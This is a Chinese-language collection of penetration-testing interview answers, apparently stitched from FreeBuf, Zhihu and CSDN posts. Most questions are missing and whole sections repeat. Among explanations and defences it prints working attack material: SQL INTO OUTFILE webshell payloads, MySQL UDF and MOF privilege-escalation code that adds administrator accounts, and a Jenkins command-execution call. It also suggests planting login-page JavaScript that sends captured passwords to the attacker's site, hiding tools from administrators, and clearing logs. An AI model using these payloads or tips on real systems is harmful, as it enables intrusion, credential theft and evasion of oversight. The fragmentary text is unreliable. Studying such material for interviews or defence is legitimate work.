渗透测试面体题

来源：https://www.freebuf.com/articles/neopoints/265312.html

渗透就跟泡妹纸⼀样样的，认识妹纸--了解妹纸（信息收集）--逗妹纸开心（扫描）-- 得到妹纸的肯定之后

就开始寻找时机表⽩（漏洞利⽤） -- 表⽩失败（漏洞被修补或有WAF）要么死缠烂打要么就Next one，要么就⽤其他的⽅法来搞定妹纸（有WAF就是⼼存芥蒂，我们就要得到真⼼，就是要⽤真情感化），⽐如搞定她姐妹，帮她搞定她的难题，要浪漫~！

信息收集

1.服务器的相关信息（真实ip，系统类型，版本，开放端口，WAF等）

2.网站指纹识别（包括cms，cdn，证书等），dns记录

3.whois信息，姓名，备案，邮箱，电话反查（邮箱丢社工库，社工准备等）

4.子域名手机，旁站，c段等

5.Google hacking针对化搜索，pdf文件，中间件版本，弱口令扫描等。

6.扫描网站目录结构，爆后台，网站banner，测试文件，备份等敏感文件泄露等

7.传输协议，通用漏洞，exp，GitHub源码等

漏洞挖掘

1.浏览网站，看看网站规模，功能，特点等

2.端口，弱口令，目录等扫描，对响应的端口进行漏洞探测。比如：Mysql，ftp，ssh，弱口令等

3.XSS、SQL注入，上传，命令注入，CSRF，暴力破解，任意文件上传，越权访问，未授权访问，文件包含，重放攻击(短信轰炸)，服务器漏洞检测，最后使用漏洞扫描工具等。（awvs，AppScan，ScanPort）

漏洞利用&权限提升

1.Mysql提权，serv-u提权，Oracle提权

2.Windows溢出提权

3.Linux脏牛，内核漏洞提权

清除测试数据&输出报告

1.日志、测试数据的清理

2.总结，输出渗透测试报告，附修复方案

复测

验证并发现是否有新漏洞，输出报告，归档

信息收集

1.获取域名的whois信息，获取注册者邮箱姓名电话等，丢社工库里看看有没有泄露密码，然后尝试用泄露的密码进行登录后台。用邮箱做关键词丢进搜索引擎。利用搜索到的关联信息找出其他邮箱而得到常用社交账号。社工找出社交账号，里面或许会找出管理员设置密码的习惯。利用已有信息生成专用字典。

2.查询服务器旁站以及子域名站点，因为主站一般比较难，所以先看看旁站有没有通用性的cms或者其他漏洞。

3.查看服务器操作系统版本，web中间件，看看是否存在已知的漏洞，比如IIS，APACHE，NGINX的解析漏洞。

4.查看IP，进行IP地址端口扫描，对响应的端口进行漏洞探测，比如rsync，mysql，ftp，ssh，弱口令等。

5.扫描网站目录结构，看看是否可以遍历目录，或者敏感文件泄露，比如php探针。

6.Google hack进一步探测网站的信息，后台，敏感文件。

漏洞扫描

开始检测漏洞，如XSS，CSRF，SQL注入，代码执行，命令执行，越权访问，目录读取，任意文件读取，文件包含，远程命令执行，弱口令，上传，暴力破解等。

漏洞利用

利用以上的方式拿到webshell，或者其他权限。

权限提升

提权服务器，比如windows下mysql的udf提权，serv-u提权，windows低版本的漏洞，如：IIS6，pr，巴西烤肉，Linux脏牛漏洞，Linux内核版本漏洞提权。

日志清理

总结报告及修复方案

查找网上曝光的漏洞。

如果开源，还能下载相对应的源码进行代码审计。

敏感文件、二级目录扫描。

站长的误操作比如：网站备份的压缩文件、说明txt、二级目录可能存放着其他站点。

IIS、Apache、nginx、Tomcat。

root权限以及网站的绝对路径。

6.目前已知哪些版本的容器有解析漏洞，具体举例。

1.IIS 6.0

/xx.asp/xx.jpg "xx.asp"是文件夹名，该文件夹中的文件会被解析成.asp文件去执行

2.IIS 7.0/7.5

默认Fast-CGI开启，直接在url中的图片（图片马）地址后面输入/xx.php，会把正常图片当成php文件解析。

3.Nginx

版本小于等于0.8.37，利用方法和IIS 7.0/7.5一样，Fast-CG关闭情况下也可以利用。

4.Apache

上传的文件命名为：test.php.x1.x2.x3，Apache是从右往左判断后缀。

Linux大小写敏感，Windows大小写不敏感。

更改了端口，没有扫面出来

站库分离

3306端口不对外开放

没开放3389端口

端口被修改

防护拦截

处于内网（需进行端口转发）

宽字符注入

Hex编码绕过（16进制编码）

查看编辑器的名称版本，然后搜索公开的漏洞。

能做的事情很多，用隐藏网马来举例子：

插入

SetHandler application/x-httpd-php

.jpg文件会被解析成.php文件

只要权限广，拖库拖到老

是根据特征码，但这不会是一成不变的

迅雷下载，直接改后缀为.mdb（mdb文件时Microsoft Access软件使用的一种存储方式）

因为exp执行多半需要空格界定参数

同数据库

and/or/xor，前面的1=1、1=2步骤只是为了判断是否为注入点，如果已经确定是注入点那就可以省去步骤

在url里面直接提交一句话，这样网站就把你的一句话也记录进数据库文件了，这个时候可以尝试寻找网站的配置文件，直接上菜刀连接。

浏览器中改编码。

有些站点的上传文件类型的限制实在前端实现的，这时只要增加上传类型就能突破限制了。

先爆破用户名，再利用被爆破出来的用户名爆破密码

所有和数据库有交互的地方都有可能有注入。

这就是传说中的下载漏洞！在file=的后面尝试输入index.php下载他的首页文件，然后在首页文件里继续查找其他网站的配置文件，可以找出网站的数据库密码和数据库的地址。

直接在网站二级目录/abc/下扫描敏感文件及目录

后台登录处加一段记录登录账号密码的js，并且判断是否登录成功，如果登录成功，就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。（此方法适合有价值并且需要深入控制权限的网络）。

在登录后才可以访问的文件中插入XSS脚本。

审查元素，把密码的password属性改为text文本属性。

原因很多，有可能web服务器配置把上传目录写死了不执行相应脚本，尝试修改后缀名绕过。

在敏感操作被拦截，通过界面信息无法具体判断是什么防护的时候，F12看HTML体部，比如护卫神就可以在名称看到内容。

隐藏文件夹，为了不让管理员发现你传上去的工具。

选B，在URL编码中+代表空格，可能会造成混淆。

demo.do?DATA=AjAxNg==

DATA有可能经过了base64编码再传入服务器，所以我们扼要对参数进行base64编码才能正确完成测试。

有写入权限的，构造联合查询语句使用using INTO OUTFILE，可以将查询的输出重定向到系统的文件中，这样去写入webshell

使用sqlmap-os-shell，原理和上面相同

通过构造联合查询语句得到网站管理员的账户和密码，然后扫后台登录后台，再在后台通过改包等方法上传shell

跨站脚本攻击：用户提交的数据中可以构造代码来执行，从而实现窃取用户信息等攻击

修复方式：对字符实体进行转义、使用HTTP Only来禁止Java Script读取Cookie值、输入时校验、浏览器与web应用端采用相同的字符编码

跨站请求伪造攻击：XSS是实现CSRF的诸多手段中的一种，是由于没有在关键操作执行时进行是否由用户自愿发起的确认

修复方式：筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer

外部实体注入攻击：XML中可以通过调用实体来请求本地或者远程内容，和远程文件保护类似，会引发相关安全问题，例如敏感文件读取

修复方式：XML解析库在调用时严格禁止对外部实体的解析

CSRF是跨站请求伪造攻击，由客户端发起

SSRF是服务器端请求伪造，由服务器发起

重放攻击是将截获的数据包进行重放，达到身份认证等目的

密码找回漏洞

密码允许暴力破解

存在通用型找回凭证

可以跳过验证步骤

找回凭证可以拦包获取

身份认证漏洞

回话固定攻击

Cookie仿冒：只要得到Session或Cookie即可伪造用户身份

验证码漏洞

验证码允许暴力破解

验证码可以通过Javascript或者改包的方法来进行绕过

get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”

HTTP/1.1Host:***.com:82

User-Agent:

Mozilla/5.0 Firefox/40Accept:text/css,/;q=0.1

Accept-Language:zhCN;zh;q=0.8;enUS;q=0.5,en;q=0.3

Referer:http://*******.com/eciop/orderForCC/cgtListForCC.htm?zone=11370601&v=145902

Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;st_uid=N90PLYHLZGJXI-NX01VPUF46W;status=TrueConnection:keep-alive

有写入权限的地方，构造联合查询语句使用using INTO OUTFILE，可以将查询的输出重定向到系统的文件中，这样写入webshell

使用sqlmap-os-shell原理和上面一种相同，来直接获得一个shell，这样效率更高

通过构造联合查询语句得到网站管理员的账户和密码，然后扫后台登录后台，再在后台通过改包上传等方法上传shell

如果是get型，直接sqlmap -u “注入点网址”

如果是post型注入点，可以sqlmap -u “注入点网址” --data=“post的参数”

如果是cookie型注入，添加参数--cookie=“值”

TCP/IP中端口建立连接的原则

在TCP/IP协议中，TCP协议提供可靠连接，采用三次握手建立连接，四次挥手断开连接。

三次握手

client发送SNY，请求建立连接

server收到SNY，发送ACK确认，同时自己也发送一个SNY，即ACK+SYN

client收到ACK+SYN，回复ACK，连接建立完成。

四次挥手

client发送FIN，请求释放连接

server收到FIN，发送ACK

server发送FIN，告知释放连接

client收到FIN，发送ACK

TCP/IP实现遵循原则

发送SYN，LISTEN端口回复ACK，CLOSED端口回复RST

发送RST会被直接丢弃

发送ACK给LISTEN端口，会RST

发送FIN，LISTEN端口丢弃，CLOSED端口回复RST

报错注入

bool注入

延时注入

宽字节注入

updatexml(1,concat(0x7e,database(),0x7e),1)

extractvalue(1,concat(0x7e,database(),0x7e))

if(ascii(substr("hello",1,1))=104,sleep(5),1)

文件上传

后台编辑器模板，公开的漏洞

sql注入写文件

命令执行

代码执行

已经爆出的cms漏洞，比如：dedecms后台可以直接建立脚本文件；wordpress上传插件包含脚本文件zip压缩包等

select ‘一句话’ into outfile ‘路径’

select ‘一句话’ into dumpfile ‘路径’

验证referer

验证token

sql注入

失效的身份认证和会话管理

跨站脚本攻击XSS

直接引用不安全的对象

安全配置错误

敏感信息泄露

缺少功能级的访问控制

跨站请求伪造CSRF

使用含有已知漏洞的组件

未验证的重定向和转发

正则过滤特殊字符，PDO预编译

web应用防火墙

站库分离

代码执行

eval，preg_replace，assert，call_user_func_array，create_function

文件读取

file_get_contents()，highlight_file()，fopen()，read_file()，fread()，fgets()，parse_ini_file()，show_source()，file()等

命令执行

system()，exec()，shell_exec()，passthru()，pcntl_exec()，popen()，proc_open()

src指定一个远程的脚本文件，获取referer

远程服务器修改apache配置文件，配置.jpg文件以php方式来解析

AddType application/x-httpd-php .jpg

1.jpg%3E会以PHP的方式解析

aspx使用的是.net技术。IIS中默认不支持，asp只是脚本语言而已，入侵的时候asp的木马一般是guest权限，aspx的木马一般是users权限

大小写转换法

干扰字符 /*!*/

编码

复参数

各种上传漏洞

mysql具有写入权限，用sql语句写入shell

http put方法

web类（web漏洞/敏感目录）

80 web

80-89 web

8080-9090 web

数据库类（扫描弱口令）

Mysql：3306

Mssql：1433

Oracle：1521

PosttargetSQL：5432

特殊服务类（未授权/命令执行类/漏洞）

443 SSL xinzang滴血

873 Rsyunc 未授权

常用端口类（扫描弱口令/端口爆破）

21 ftp

22 SSH

23 Teknet（远程登录服务的标准协议）

2601，2604 zebra路由（默认密码：zebra）

3389 远程桌面rdp

端口合计详情

.jpg)

Oracle 1521 数据库端口

客户端发送请求到服务器端

服务器端返回证书和公开密钥，公开密钥作为证书的一部分而存在

客户端验证证书和公开密钥的有效性，如果有效，则生成共享密钥并使用公开密钥加密发送到服务器端

服务器端使用私有密钥解密数据，并使用收到的共享密钥加密数据，发送到客户端

客户端使用共享密钥解密数据

SSL加密建立

连接方面的区别

TCP面向连接

UDP无连接，即发送数据之前不需要建立连接

安全方面的区别

TCP提供可靠的服务，通过TCP连接传送的数据，无差错，不丢失，不重复，且按序到达

UDP尽最大努力交付，即不保证可靠交付

传输效率的区别

TCP传输效率相对较低

UDP传输效率高，使用于对高速传输和实时性有较高的通信或广播通信

连接对象数量的区别

TCP连接只能是点到点，一对一的

UDP支持一对一，一对多，多对一和多对多的交互通信

过滤ip：

过滤源IP地址：ip.src==1.1.1.1；目的IP地址：ip.dst==1.1.1.1

过滤端口：

过滤80端口：tcp.port==80；源端口：tcp.srcport==80；目的端口：tcp.dstport==80

协议过滤：

直接输入协议名即可，如http协议：http

http模式过滤：

过滤get/post包：http.request.mothod=="GET/POST"

https://zhuanlan.zhihu.com/p/104859107

浏览网站，看看网站规模，功能，特点等

端口，弱口令，目录等扫描,对响应的端口进行漏洞探测，比如 rsync,心脏出血，mysql,ftp,ssh弱口令等。

XSS，SQL注入，上传，命令注入，CSRF，cookie安全检测，敏感信息，通信数据传输，暴力破解，任意文件上传，越权访问，未授权访问，目录遍历，文件 包含，重放攻击（短信轰炸），服务器漏洞检测，最后使用漏扫工具等

信息收集

服务器的相关信息（真实ip，系统类型，版本，开放端口，WAF等）

网站指纹识别（包括，cms，cdn，证书等），dns记录

whois信息，姓名，备案，邮箱，电话反查（邮箱丢社工库，社工准备等）

子域名收集，旁站，C段等

google hacking针对化搜索，pdf文件，中间件版本，弱口令扫描等

扫描网站目录结构，爆后台，网站banner，测试文件，备份等敏感文件泄漏等

传输协议，通用漏洞，exp，github源码等

漏洞挖掘

浏览网站，看看网站规模，功能，特点等

端口，弱口令，目录等扫描,对响应的端口进行漏洞探测，比如 rsync,心脏出血，mysql,ftp,ssh弱口令等。

XSS，SQL注入，上传，命令注入，CSRF，cookie安全检测，敏感信息，通信数据传输，暴力破解，任意文件上传，越权访问，未授权访问，目录遍历，文件 包含，重放攻击（短信轰炸），服务器漏洞检测，最后使用漏扫工具等

漏洞利用 | 权限提升

mysql提权，serv-u提权，oracle提权

windows 溢出提权

linux脏牛,内核漏洞提权e

清除测试数据 | 输出报告

日志、测试数据的清理

总结，输出渗透测试报告，附修复方案

复测

验证并发现是否有新漏洞，输出报告，归档

问题

丢社工库里看看有没有泄露密码，然后尝试用泄露的密码进行登录后台。

用邮箱做关键词进行丢进搜索引擎。

利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。

社工找出社交账号，里面或许会找出管理员设置密码的习惯 。

利用已有信息生成专用字典。

查找网上已曝光的程序漏洞。

如果开源，还能下载相对应的源码进行代码审计。

敏感文件、二级目录扫描

站长的误操作比如：网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

IIS 6.0

/xx.asp/xx.jpg "xx.asp"是文件夹名

IIS 7.0/7.5

默认Fast-CGI开启，直接在url中图片地址后面输入/1.php，会把正常图片当成php解析

Nginx

版本小于等于0.8.37，利用方法和IIS 7.0/7.5一样，Fast-CGI关闭情况下也可利用。

空字节代码 xxx.jpg.php

Apache1.x、2.x

上传的文件命名为：test.php.x1.x2.x3，Apache是从右往左判断后缀

lighttpd

xx.jpg/xx.php

linux大小写敏感,windows大小写不敏感。

改了端口,站库分离,3306不对外网开放,防火墙拦截

查看编辑器的名称版本,然后搜索公开的漏洞。

能做的事情很多，用隐藏网马来举例子：

插入

SetHandler application/x-httpd-php

.jpg文件会被解析成.php文件。

exp执行一般需要空格界定参数

审查元素 把密码处的password属性改成text就明文显示了

aspx使用的是.net技术。IIS 中默认不支持，ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限

大小写转换法

干扰字符 /*!*/

编码 base64 unicode hex url ascll

复参数

3306 mysql

1433 mssql

1521 oracle

5432 postgresql

6379 redis

27017 mongodb

8080 tomcat/resin/jetty

137 samba

5900 vnc

各种上传漏洞

mysql具有写入权限,用sql语句写入shell

http put方法

Sql注入

1、使用安全的API

2、对输入的特殊字符进行Escape转义处理

3、使用白名单来规范化输入验证方法

4、对客户端输入进行控制，不允许输入SQL注入相关的特殊字符

5、服务器端在提交数据库进行SQL查询之前，对特殊字符进行过滤、转义、替换、删除。

规范编码,字符集

原理:

使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行，是在数据库完成sql指令的编译后才套用参数运行

简单的说:

参数化能防注入的原因在于,语句是语句，参数是参数，参数的值并不是语句的一部分，数据库只按语句的语义跑

UserAgent

REFERER

COOKIE

IP

盲注是在SQL注入攻击过程中，服务器关闭了错误回显，我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种，一个是通过页面的返回内容是否正确(boolean-based)，来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based)，在这里，可以用benchmark，sleep等造成延时效果的函数，也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。

产生原理

在数据库使用了宽字符集而WEB中没考虑这个问题的情况下，在WEB层，由于0XBF27是两个字符，在PHP中比如addslash和magic_quotes_gpc开启时，由于会对0x27单引号进行转义，因此0xbf27会变成0xbf5c27,而数据进入数据库中时，由于0XBF5C是一个另外的字符，因此\转义符号会被前面的bf带着”吃掉”，单引号由此逃逸出来可以用来闭合语句。

在哪里编码

根本原因：

character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如，iconv、mb_convert_encoding使用不当。

解决办法：

统一数据库、Web应用、操作系统所使用的字符集，避免解析产生差异，最好都设置为UTF-8。

或对数据进行正确的转义，如mysql_real_escape_string+mysql_set_charset的使用。

先理解这句 SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此 SQL 被修改成以下形式，就实现了注入

1：修改 homepage 值为http://baidu.net', userlevel=’3

之后 SQL 语句变为

UPDATE user SET password='mypass', homepage='http://baidu.net', userlevel='3' WHERE id='$id'

userlevel 为用户级别

2:修改 password 值为mypass)’ WHERE username=’admin’#

之后 SQL 语句变为

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

3：修改 id 值为’ OR username=’admin’

之后 SQL 语句变为

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

sql如何写shell/单引号被过滤怎么办

写shell: root权限，GPC关闭，知道文件路径

outfile函数

`http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY ''`

`http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'`

宽字节注入

代替空格的方法

%0a、%0b、%a0 等

/**/ 等注释符

5.0以下没有information_schema这个系统表，无法列表名等，只能暴力跑表名。

5.0以下是多用户单操作，5.0以上是多用户多操做。

有写入权限的，构造联合查询语句使用using INTO OUTFILE，可以将查询的输出重定向到系统的文件中，这样去写入 WebShell

使用 sqlmap –os-shell 原理和上面一种相同，来直接获得一个 Shell，这样效率更高

通过构造联合查询语句得到网站管理员的账户和密码，然后扫后台登录后台，再在后台通过改包上传等方法上传 Shell

https://blog.csdn.net/weixin_42253265/article/details/109518848

已记录您的ip xx.xx.xx.xx

时间:2016:01-23

提交页面:test.asp?id=15

提交内容:and 1=1

如何利用这个防注入系统拿shell？

在URL里面直接提交一句话，这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接

宽字符注入

hex编码绕过

root权限以及网站的绝对路径。

1.让两个非常大的数据表做笛卡尔积产生大量的计算从而产生时间延迟

2.如果服务器端采用长连接的话可以利用Mysql的锁机制即Get_lock()

3.利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟

未知列名情况下的注入利用

利用虚表获取数据

由于平时对目标的检测中，基本是凭借不同功能点的功能加上经验和直觉来进行检测，对不同类型的XSS检测方式实际上并没有太过细分的标准化检测方式，所以回答的很烂。。。

XSS原理

反射型

用户提交的数据中可以构造代码来执行，从而实现窃取用户信息等攻击。

需要诱使用户“点击”一个恶意链接，才能攻击成功

储存型

存储型XSS会把用户输入的数据“存储”在服务器端。

这种XSS具有很强的稳定性。

DOM型

通过修改页面的DOM节点形成的XSS，称之为DOM Based XSS。

反射型XSS：通过诱导用户点击，我们构造好的恶意payload才会触发的XSS。

反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。

DOM型：通过修改页面的DOM节点形成的XSS。

DOM-based XSS由于是通过js代码进行dom操作产生的XSS，所以在请求的响应中我们甚至不一定会得到相应的畸形数据。

根本区别在我看来是输出点的不同。

DOM型XSS 自动化测试或人工测试

人工测试思路：找到类似document.write、innerHTML赋值、outterHTML赋值、window.location操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量，回溯变量来源观察是否可控，是否经过安全函数。

自动化测试参看道哥的博客，思路是从输入入手，观察变量传递的过程，最终检查是否有在危险函数输出，中途是否有经过安全函数。但是这样就需要有一个javascript解析器，否则会漏掉一些通过js执行带入的部分内容。

输入点检查：对用户输入的数据进行合法性检查，使用filter过滤敏感字符或对进行编码转义，针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。

输出点检查：对变量输出到HTML页面中时，对输出内容进行编码转义，输出在HTML中时，对其进行HTMLEncode，如果输出在Javascript脚本中时，对其进行JavascriptEncode。

对使用JavascriptEncode的变量都放在引号中并转义危险字符，data部分就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法，对所有数字字母之外的字符都使用十六进制编码。此外，要注意在浏览器中，HTML的解析会优先于Javascript的解析，编码的方式也需要考虑清楚，针对不同的输出点，我们防御XSS的方法可能会不同，这点可能在之后的文章会做下总结。

除此之外，还有做HTTPOnly对Cookie劫持做限制。

正常情况下，一个是产生XSS点的页面不属于self页面，用户之间产生交互行为的页面，都可能造成XSS Worm的产生。不一定需要存储型XSS

CSRF原理

CSRF是跨站请求伪造攻击，由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认

CSRF防御

验证Referer

添加token

token安全等级更高，因为并不是任何服务器都可以取得referer，如果从HTTPS跳到HTTP，也不会发送referer。并且FLASH一些版本中可以自定义referer。

但是token的话，要保证其足够随机且不可泄露。(不可预测性原则)

对referer的验证，从什么角度去做？如果做，怎么杜绝问题?

对header中的referer的验证，一个是空referer，一个是referer过滤或者检测不完善。

为了杜绝这种问题，在验证的白名单中，正则规则应当写完善。

针对token，对token测试会注意哪方面内容，会对token的哪方面进行测试？

引用一段请教前辈的回答：

针对token的攻击，一是对它本身的攻击，重放测试一次性、分析加密规则、校验方式是否正确等，二是结合信息泄露漏洞对它的获取，结合着发起组合攻击

信息泄露有可能是缓存、日志、get，也有可能是利用跨站

很多跳转登录的都依赖token，有一个跳转漏洞加反射型跨站就可以组合成登录劫持了

另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。

检测

1）因为SSRF漏洞是让服务器发送请求的安全漏洞，所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的，从而来判断是否存在SSRF漏洞

2）在页面源码中查找访问的资源地址 ，如果该资源地址类型为 http://www.baidu.com/xxx.php?image=（地址）的就可能存在SSRF漏洞

SSRF漏洞的成因 防御 绕过

成因：模拟服务器对其他服务器资源进行请求，没有做合法性验证。

利用：构造恶意内网IP做探测，或者使用其余所支持的协议对其余服务进行攻击。

防御：禁止跳转，限制协议，内外网限制，URL限制。

绕过：使用不同协议，针对IP，IP格式的绕过，针对URL，恶意URL增添其他字符，@之类的。301跳转+dns rebindding。

文件上传漏洞原理

由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件

前端js验证：禁用js/burp改包

大小写

双重后缀名

过滤绕过 pphphp->php

文件上传防护

文件上传目录设置为不可执行

使用白名单判断文件上传类型

用随机数改写文件名和路径

有些站点的上传文件类型的限制是在前端实现的，这时只要增加上传类型就能突破限制了。

原理

引入一段用户能控制的脚本或代码，并让服务器端执行

（1）include()等函数通过动态变量的方式引入需要包含的文件；

（2）用户能够控制该动态变量。

PHP：include(), include_once(), require(), re-quire_once(), fopen(), readfile(), …

JSP/Servlet：ava.io.File(), java.io.Fil-eReader(), …

ASP：include file, include virtual,

本地文件包含

能够打开并包含本地文件的漏洞，被称为本地文件包含漏洞

逻辑漏洞

金融行业常见逻辑漏洞

单针对金融业务的

主要是数据的篡改(涉及金融数据，或部分业务的判断数据)，由竞争条件或者设计不当引起的薅羊毛，交易/订单信息泄露，水平越权对别人的账户查看或恶意操作，交易或业务步骤绕过。

溢出

中间人攻击是一个（缺乏）相互认证的攻击；由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的漏洞

1.公钥基础建设PKI

使用PKI相互认证机制，客户端验证服务器，服务器验证客户端；上述两个例子中都是只验证服务器，这样就造成了SSL握手环节的漏洞，而如果使用相互认证的的话，基本可以更强力的相互认证

2.延迟测试

使用复杂加密哈希函数进行计算以造成数十秒的延迟；如果双方通常情况下都要花费20秒来计算，并且整个通讯花费了60秒计算才到达对方，这就能表明存在第三方中间人。

3.使用其他形式的密钥交换形式

原理:

每台主机都有一个ARP缓存表，缓存表中记录了IP地址与MAC地址的对应关系，而局域网数据传输依靠的是MAC地址。

在ARP缓存表机制存在一个缺陷，就是当请求主机收到ARP应答包后，不会去验证自己是否向对方主机发送过ARP请求包，就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中，如果原有相同IP对应关系，原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能

1.在主机绑定网关MAC与IP地址为静态（默认为动态），命令：arp -s 网关IP 网关MAC

2.在网关绑定主机MAC与IP地址

3.使用ARP防火墙

Ddos原理

利用合理的请求造成资源过载，导致服务不可用

重大经济损失

在遭受DDoS攻击后，您的源站服务器可能无法提供服务，导致用户无法访问您的业务，从而造成巨大的经济损失和品牌损失。

例如：某电商平台在遭受DDoS攻击时，网站无法正常访问甚至出现短暂的关闭，导致合法用户无法下单购买商品等。

数据泄露

黑客在对您的服务器进行DDoS攻击时，可能会趁机窃取您业务的核心数据。

恶意竞争

部分行业存在恶性竞争，竞争对手可能会通过DDoS攻击恶意攻击您的服务，从而在行业竞争中获取优势。

例如：某游戏业务遭受了DDoS攻击，游戏玩家数量锐减，导致该游戏业务几天内迅速彻底下线。

出现以下情况时，您的业务可能已遭受DDoS攻击：

网络和设备正常的情况下，服务器突然出现连接断开、访问卡顿、用户掉线等情况。

服务器CPU或内存占用率出现明显增长。

网络出方向或入方向流量出现明显增长。

您的业务网站或应用程序突然出现大量的未知访问。

登录服务器失败或者登录过慢。

本地防护软件防护

云防护

购买并配置防火墙防护

架设Ids

伪造大量的源IP地址，分别向服务器端发送大量的SYN包，此时服务器端会返回SYN/ACK包，因为源地址是伪造的，所以伪造的IP并不会应答，服务器端没有收到伪造IP的回应，会重试3～5次并且等待一个SYNTime（一般为30秒至2分钟），如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求，服务器端将会消耗非常多的资源（CPU和内存）来处理这种半连接，同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求，导致拒绝服务。

对一些消耗资源较大的应用页面不断发起正常的请求，以达到消耗服务端资源的目的。

DDOS防护

SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”，并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包，则认为受到攻击，之后来自这个IP地址的包将被丢弃。

udf提权,mof提权

要求:

1.目标系统是Windows(Win2000,XP,Win2003)；

2.拥有MYSQL的某个用户账号，此账号必须有对mysql的insert和delete权限以创建和抛弃函数

3.有root账号密码

导出udf:

MYSQL 5.1以上版本，必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数

可以再mysql里输入

select @@basedir

show variables like ‘%plugins%’ 寻找mysql安装路径

使用SQL语句创建功能函数。语法：Create Function 函数名（函数名只能为下面列表中的其中之一）returns string soname ‘导出的DLL路径’；

create function cmdshell returns string soname ‘udf.dll’

select cmdshell(‘net user arsch arsch /add’);

select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

该目录默认是不存在的，这就需要我们使用webshell找到MYSQL的安装目录，并在安装目录下创建lib\plugin文件夹，然后将udf.dll文件导出到该目录即可。

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter

{

    EventNamespace = "Root\\Cimv2";

    Name  = "filtP2";

    Query = "Select * From __InstanceModificationEvent "

            "Where TargetInstance Isa \"Win32_LocalTime\" "

            "And TargetInstance.Second = 5";

    QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

    Name = "consPCSV2";

    ScriptingEngine = "JScript";

    ScriptText =

    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";

};

instance of __FilterToConsumerBinding

{

    Consumer   = $Consumer;

    Filter = $EventFilter;

};

其中的第18行的命令，上传前请自己更改。

2、执行load_file及into dumpfile把文件导出到正确的位置即可。

select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'

执行成功后，即可添加一个普通用户，然后你可以更改命令，再上传导出执行把用户提升到管理员权限，然后3389连接之就ok了。

3、产生原因

Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将 Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法，可以成功在 Redis 服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器

利用条件和方法

条件:

redis服务以root账户运行

redis无密码或弱密码进行认证

redis监听在0.0.0.0公网上

方法:

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫

上传SSH公钥获得SSH登录权限

通过crontab反弹shell

slave主从模式利用

修复

密码验证

降权运行

限制ip/修改端口

Jenkins未授权访问

攻击者通过未授权访问进入脚本命令执行界面执行攻击指令

println “ifconfig -a”.execute().text 执行一些系统命令,利用wget下载webshell

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库，登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。

防护

1、为MongoDB添加认证：

1)MongoDB启动时添加–auth参数

2)给MongoDB添加用户：

use admin #使用admin库

db.addUser(“root”, “123456”) #添加用户名root密码123456的用户

db.auth(“root”,“123456”) #验证下是否添加成功，返回1说明成功

2、禁用HTTP和REST端口

